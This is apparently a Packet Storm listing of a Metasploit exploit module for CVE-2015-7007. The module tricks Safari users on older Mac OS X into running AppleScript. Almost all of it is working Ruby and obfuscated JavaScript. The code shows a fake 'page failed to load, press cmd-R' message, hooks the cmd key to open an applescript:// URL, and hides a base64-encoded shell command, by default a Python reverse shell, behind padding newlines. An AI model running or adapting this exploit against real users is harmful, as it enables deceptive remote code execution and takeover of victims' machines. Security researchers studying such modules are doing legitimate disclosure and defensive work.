Safari User-Assisted Applescript Exec Attack

2015-10-2300:00:00

joev

packetstormsecurity.com

0.973 High

EPSS

Percentile

99.8%

JSON

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::EXE  
include Msf::Exploit::Remote::BrowserExploitServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Safari User-Assisted Applescript Exec Attack',  
'Description' => %q{  
In versions of Mac OS X before 10.11.1, the applescript:// URL  
scheme is provided, which opens the provided script in the Applescript  
Editor. Pressing cmd-R in the Editor executes the code without any  
additional confirmation from the user. By getting the user to press  
cmd-R in Safari, and by hooking the cmd-key keypress event, a user  
can be tricked into running arbitrary Applescript code.  
  
Gatekeeper should be disabled from Security & Privacy in order to  
avoid the unidentified Developer prompt.  
},  
'License' => MSF_LICENSE,  
'Arch' => ARCH_CMD,  
'Platform' => ['unix', 'osx'],  
'Compat' =>  
{  
'PayloadType' => 'cmd'  
},  
'Targets' =>  
[  
[ 'Mac OS X', {} ]  
],  
'DefaultOptions' => { 'payload' => 'cmd/unix/reverse_python' },  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Oct 16 2015',  
'Author' => [ 'joev' ],  
'References' =>  
[  
[ 'CVE', '2015-7007' ],  
[ 'URL', 'https://support.apple.com/en-us/HT205375' ]  
],  
'BrowserRequirements' => {  
:source => 'script',  
:ua_name => HttpClients::SAFARI,  
:os_name => OperatingSystems::Match::MAC_OSX  
}  
))  
  
register_options([  
OptString.new('CONTENT', [false, "Content to display in browser",  
"This page has failed to load. Press cmd-R to refresh."]),  
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])  
], self.class)  
end  
  
def on_request_exploit(cli, request, profile)  
print_status("Sending #{self.name}")  
send_response_html(cli, exploit_html)  
end  
  
def exploit_html  
"<!doctype html><html><body>#{content}<script>#{exploit_js}</script></body></html>"  
end  
  
def exploit_js  
js_obfuscate %Q|  
var as = Array(150).join("\\n") +  
'do shell script "echo #{Rex::Text.encode_base64(sh)} \| base64 --decode \| /bin/sh"';  
var url = 'applescript://com.apple.scripteditor?action=new&script='+encodeURIComponent(as);  
window.onkeydown = function(e) {  
if (e.keyCode == 91) {  
window.location = url;  
}  
};  
|  
end  
  
def sh  
'killall "Script Editor"; nohup ' + payload.encoded  
end  
  
def content  
datastore['CONTENT']  
end  
  
  
end  
`

0.973 High

EPSS

Percentile

99.8%

JSON

Related for PACKETSTORM:134072